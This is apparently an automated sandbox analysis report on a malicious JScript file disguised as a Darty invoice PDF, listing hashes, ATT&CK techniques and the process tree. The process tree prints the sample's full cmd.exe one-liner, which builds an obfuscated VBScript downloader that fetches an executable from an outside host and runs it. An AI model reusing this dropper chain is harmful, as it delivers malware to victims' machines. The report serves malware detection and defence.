4922984d94a69718bacaaefbaaa7943f572895f7a2eca9ccc9f8f01afb5edd29

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 12:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Facture_Darty_28HGV4_R84Z4LOP90J_K38522AZ89N12P9KIP50LOPK7_PF_04.2018_N1.pdf.js
Size 8KB
Sample260910-pp3mpswyhw
SHA256 4922984d94a69718bacaaefbaaa7943f572895f7a2eca9ccc9f8f01afb5edd29
MD5 fcec7e00df1f6c6ca4b45aa48cbcf564
SHA1 b1e5789a76b60df91e834b84b0d037c808e0ab88
SHA512 47df78f7489b7b2a0216e923b1aa5679606e820750035a608b85451d9260cc0b7676d4bc4d5b31c53706376f188c630985b14b0aa018efc3aeff79dc4cce9669
SSDEEP 96:7lisfk/Y8g7Q5tYoqEsiASQoUiT60LmIQGl+SgmhMwvm5LCYMJz3608:754DwSSwSaJbX8
TLSH
T11E0293ED8E47C89F5E8C1C43AF906AD7636C93639B896387F22DFB5800B8142C54D8C6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4356	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4356	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4408	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4232	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2800 wrote to memory of 4408	2800	wscript.exe	88
PID 4408 wrote to memory of 4356	4408	cmd.exe	90
PID 4408 wrote to memory of 4232	4408	cmd.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Facture_Darty_28HGV4_R84Z4LOP90J_K38522AZ89N12P9KIP50LOPK7_PF_04.2018_N1.pdf.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd %temp% &@echo U6o = "http://lifestylesounds.com/real_track/svhost32.exe">>1111111111111111111111111111111111111111.vbs &@echo W2g = W8l("BZF/FYF")>>1111111111111111111111111111111111111111.vbs &@echo Set D4k = CreateObject(W8l("NTYNM3/YNMIUUQ"))>>1111111111111111111111111111111111111111.vbs &@echo D4k.Open W8l("HFU"), U6o, False>>1111111111111111111111111111111111111111.vbs &@echo D4k.send ("")>>1111111111111111111111111111111111111111.vbs &@echo Set S2m = CreateObject(W8l("BEPEC/TUSFBN"))>>1111111111111111111111111111111111111111.vbs &@echo S2m.Open>>1111111111111111111111111111111111111111.vbs &@echo S2m.Type = 1 >>1111111111111111111111111111111111111111.vbs &@echo S2m.Write D4k.ResponseBody>>1111111111111111111111111111111111111111.vbs & @echo S2m.Position = 0 >>1111111111111111111111111111111111111111.vbs &@echo S2m.SaveToFile W2g, 2 >>1111111111111111111111111111111111111111.vbs &@echo S2m.Close>>1111111111111111111111111111111111111111.vbs &@echo function W8l(M3b) >> 1111111111111111111111111111111111111111.vbs &@echo For Y7o = 1 To Len(M3b) >>1111111111111111111111111111111111111111.vbs &@echo D8u = Mid(M3b, Y7o, 1) >>1111111111111111111111111111111111111111.vbs &@echo D8u = Chr(Asc(D8u)- 1) >>1111111111111111111111111111111111111111.vbs &@echo I3v = I3v + D8u >> 1111111111111111111111111111111111111111.vbs &@echo Next >>1111111111111111111111111111111111111111.vbs &@echo W8l = I3v >>1111111111111111111111111111111111111111.vbs &@echo End Function >>1111111111111111111111111111111111111111.vbs& 1111111111111111111111111111111111111111.vbs &dEl 1111111111111111111111111111111111111111.vbs & timeout 3 & AYE.EXE
  2⤵
  - Executes a command shell one-liner
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1111111111111111111111111111111111111111.vbs"
    3⤵
    - Badlisted process makes network request
    - Executes a VBScript file via the Windows Script Host.
    PID:4356
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1111111111111111111111111111111111111111.vbs

Path C:\Users\Admin\AppData\Local\Temp\1111111111111111111111111111111111111111.vbs
Size 497B
SHA256 b729fc7ddc013097f983835afde7540e3a6a70e83cadf48e3d4cd976e319f5df
MD5 4c48d95ddd14908ead9a8b0004640af0
SHA1 f57558313feeeb8dcb0b4aee8835dc6bdc94fa65
SHA512 47477fdb5c3f59baa2cc3c039d7fb60a09e4e5dd97e13136b5caf3c39fe4ab6cbfb2d1fa6e7c2ca09ccb50537bbf4cbbc99e364a9fb89e02efe5fe507491ca15
TLSH
T110F0C9CC13DCA9D68C166F18708708386C38C0EA6F01E49FAB4AE94436012DD8DD1D82
MD5 SHA1 SHA512 TLSH

Submit Download

AYE.EXE

Path C:\Users\Admin\AppData\Local\Temp\AYE.EXE
Size 4KB
SHA256 fc69638c2ca955a7257699431b5c41b9c58b973118d9f489b349d7a7bc6f5eed
MD5 6eb37c15d40c81f73be8e12f0599af1a
SHA1 571bdca6cb54e7dfd0ca87d6fe3970f3882d41f1
SHA512 8bb469614d94ed2642b58dba2ba6c566729caf48846ebddfdbbb422d5abb5647d937f9ec9697c849812f28ca805bc0c77a8bfb086e0912307753051bbb97df1b
SSDEEP 48:IZAp3ETuTsDT4ThRXF14Y4nAsMDkGT/yDfvTKpeTKM3CTKzwTKwM:l0y8o+F2kKKT7KpiKJKzAKwM
TLSH
T170A1F03241F1B95712A182606EF17B19AEC14567DB8B0D10B26C1BEF6FEAE66CC1319C
MD5 SHA1 SHA512 SSDEEP TLSH